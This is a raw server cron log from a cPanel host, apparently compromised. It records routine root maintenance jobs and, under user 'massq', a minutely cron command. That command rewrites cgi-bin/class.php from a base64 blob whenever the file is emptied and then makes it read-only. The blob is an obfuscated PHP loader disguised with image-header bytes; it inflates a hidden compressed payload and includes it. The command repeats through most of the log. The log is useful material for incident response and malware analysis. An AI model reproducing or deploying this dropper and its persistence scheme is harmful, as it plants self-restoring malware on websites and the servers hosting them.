Sep 11 21:56:01 server CROND[27381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:56:01 server CROND[27380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:57:01 server CROND[27763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:57:01 server CROND[27766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:57:01 server CROND[27765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:57:01 server CROND[27764]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 21:58:01 server CROND[28158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:58:01 server CROND[28159]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:58:01 server CROND[28161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:59:02 server CROND[28531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:59:02 server CROND[28532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:59:02 server CROND[28533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:00:01 server CROND[29031]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:00:01 server CROND[29032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:00:01 server CROND[29036]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 22:00:01 server CROND[29038]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 22:00:01 server CROND[29040]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:00:01 server CROND[29042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:00:01 server CROND[29044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:00:01 server CROND[29048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:00:01 server CROND[29039]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:00:01 server CROND[29045]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:01:01 server CROND[29905]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 22:01:01 server CROND[29906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:01:01 server CROND[29907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:01:01 server CROND[29908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:01:01 server run-parts(/etc/cron.hourly)[29905]: starting 0anacron
Sep 11 22:01:01 server run-parts(/etc/cron.hourly)[29926]: finished 0anacron
Sep 11 22:02:01 server CROND[30309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:02:01 server CROND[30310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:02:01 server CROND[30308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:03:01 server CROND[30700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:03:01 server CROND[30701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:03:01 server CROND[30702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:04:01 server CROND[31091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:04:01 server CROND[31092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:04:01 server CROND[31090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:05:01 server CROND[31568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 22:05:01 server CROND[31571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:05:01 server CROND[31584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:05:01 server CROND[31588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:05:01 server CROND[31589]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 22:05:01 server CROND[31585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:05:01 server CROND[31586]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 22:05:01 server CROND[31587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:06:01 server CROND[32427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:06:01 server CROND[32428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:06:01 server CROND[32429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:07:01 server CROND[412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:07:01 server CROND[413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 22:07:01 server CROND[414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:08:02 server CROND[827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
